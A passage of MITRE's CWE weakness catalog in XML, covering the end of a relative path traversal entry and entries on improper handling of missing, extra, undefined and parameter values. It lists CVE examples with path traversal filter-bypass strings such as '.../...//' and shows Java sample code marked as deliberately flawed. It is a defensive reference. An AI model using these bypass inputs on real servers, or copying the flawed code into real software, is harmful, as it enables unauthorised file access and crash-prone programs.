               <Description>Directory listing of web server using "..."</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0313</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1658</Reference>
               <Description>Triple dot</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1658</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0240</Reference>
               <Description>read files via "/........../" in URL</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0240</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0773</Reference>
               <Description>read files via "...." in web server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0773</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-1999-1082</Reference>
               <Description>read files via "......" in web server (doubled triple dot?)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1082</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2121</Reference>
               <Description>read files via "......" in web server (doubled triple dot?)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2121</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0491</Reference>
               <Description>multiple attacks using "..", "...", and "...." in different commands</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0491</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-0615</Reference>
               <Description>"..." or "...." in chat server</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-0615</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2169</Reference>
               <Description>chain: ".../...//" bypasses protection mechanism using regexp's that remove "../" resulting in collapse into an unsafe value "../" (CWE-182) and resultant path traversal.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2169</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-0202</Reference>
               <Description>".../....///" bypasses regexp's that remove "./" and "../"</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-0202</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1670</Reference>
               <Description>Mail server allows remote attackers to create arbitrary directories via a ".." or rename arbitrary files via a "....//" in user supplied parameters.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1670</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Relative Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP16</Entry_ID>
               <Entry_Name>Path Traversal</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="139"/>
            <Related_Attack_Pattern CAPEC_ID="76"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-192"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 9, &#34;Filenames and Paths&#34;, Page 503"/>
            <Reference External_Reference_ID="REF-1282"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated References, Demonstrative_Example, Potential_Mitigations, Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, References, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Description, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-03-29</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Observed_Examples, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Potential_Mitigations, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples, Potential_Mitigations</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-12-10</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-06-28</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated Alternate_Terms, Observed_Examples, References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Common_Consequences, Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
				<Contribution Type="Feedback">
				  <Contribution_Name>Nick Johnston</Contribution_Name>
				  <Contribution_Date>2022-07-11</Contribution_Date>
				  <Contribution_Comment>Identified weakness in Perl demonstrative example</Contribution_Comment>
				</Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="230" Name="Improper Handling of Missing Values" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when a parameter, field, or argument name is specified, but the associated value is missing, i.e. it is empty, blank, or null.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="229" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-110">
               <Intro_Text>This Android application has registered to handle a URL when sent an intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class UrlHandlerReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if("com.example.URLHandler.openURL".equals(intent.getAction())) {<xhtml:div style="margin-left:1em;">String URL = intent.getStringExtra("URLToOpen");<xhtml:br/>int length = URL.length();</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>...</xhtml:i>
                                 <xhtml:br/>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The application assumes the URL will always be included in the intent. When the URL is not present, the call to getStringExtra() will return null, thus causing a null pointer exception when length() is called.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-0422</Reference>
               <Description>Blank Host header triggers resultant infoleak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-0422</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1006</Reference>
               <Description>Blank "charset" attribute in MIME header triggers crash.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1006</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-1504</Reference>
               <Description>Blank parameter causes external error infoleak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-1504</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2053</Reference>
               <Description>Blank parameter causes external error infoleak.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2053</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Missing Value Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR08-J</Entry_ID>
               <Entry_Name>Do not catch NullPointerException or any of its ancestors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Research Gap">Some "crash by port scan" bugs are probably due to this, but lack of diagnosis makes it difficult to be certain.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Other_Notes, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Missing Value Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Missing Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="231" Name="Improper Handling of Extra Values" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when more values are provided than expected.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="229" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="CanPrecede" CWE_ID="120" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>This typically occurs in situations when only one value is expected.</Note>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Extra Value Error</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
            <Note Type="Relationship">This can overlap buffer overflows.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Modes_of_Introduction, Relationships, Relationship_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Description, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Time_of_Introduction</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Extra Value Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Extra Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="232" Name="Improper Handling of Undefined Values" Abstraction="Variant" Structure="Simple" Status="Draft">
         <Description>The product does not handle or incorrectly handles when a value is not defined or supported for the associated parameter, field, or argument name.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="229" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>In this example, an address parameter is read and trimmed of whitespace.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String address = request.getParameter("address");<xhtml:br/>address = address.trim();<xhtml:br/>String updateString = "UPDATE shippingInfo SET address='?' WHERE email='cwe@example.com'";<xhtml:br/>emailAddress = con.prepareStatement(updateString);<xhtml:br/>emailAddress.setString(1, address);</xhtml:div>
               </Example_Code>
               <Body_Text>If the value of the address parameter is null (undefined), the servlet will throw a NullPointerException when the trim() is attempted.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2000-1003</Reference>
               <Description>Client crash when server returns unknown driver type.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1003</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Undefined Value Error</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>ERR08-J</Entry_ID>
               <Entry_Name>Do not catch NullPointerException or any of its ancestors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Description, Name</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2013-07-17</Modification_Date>
               <Modification_Comment>updated Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Undefined Value Error</Previous_Entry_Name>
            <Previous_Entry_Name Date="2009-03-10">Failure to Handle Undefined Value</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="233" Name="Improper Handling of Parameters" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product does not properly handle when the expected number of parameters, fields, or arguments is not provided in input, or if those parameters are undefined.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="228" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-13">
             <Method>Fuzzing</Method>
             <Description>Fuzz testing (fuzzing) is a powerful technique for generating large numbers of diverse inputs - either randomly or algorithmically - and dynamically invoking the code with those inputs. Even with random inputs, it is often capable of generating unexpected results such as crashes, memory corruption, or resource consumption. Fuzzing effectively produces repeatable test cases that clearly indicate bugs, which helps developers to diagnose the issues.</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-110">
               <Intro_Text>This Android application has registered to handle a URL when sent an intent:</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>
                     <xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>IntentFilter filter = new IntentFilter("com.example.URLHandler.openURL");<xhtml:br/>MyReceiver receiver = new MyReceiver();<xhtml:br/>registerReceiver(receiver, filter);<xhtml:br/>
                     <xhtml:i>...</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>public class UrlHandlerReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">
                              <xhtml:div>if("com.example.URLHandler.openURL".equals(intent.getAction())) {<xhtml:div style="margin-left:1em;">String URL = intent.getStringExtra("URLToOpen");<xhtml:br/>int length = URL.length();</xhtml:div>
                                 <xhtml:br/>
                                 <xhtml:i>...</xhtml:i>
                                 <xhtml:br/>}</xhtml:div>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
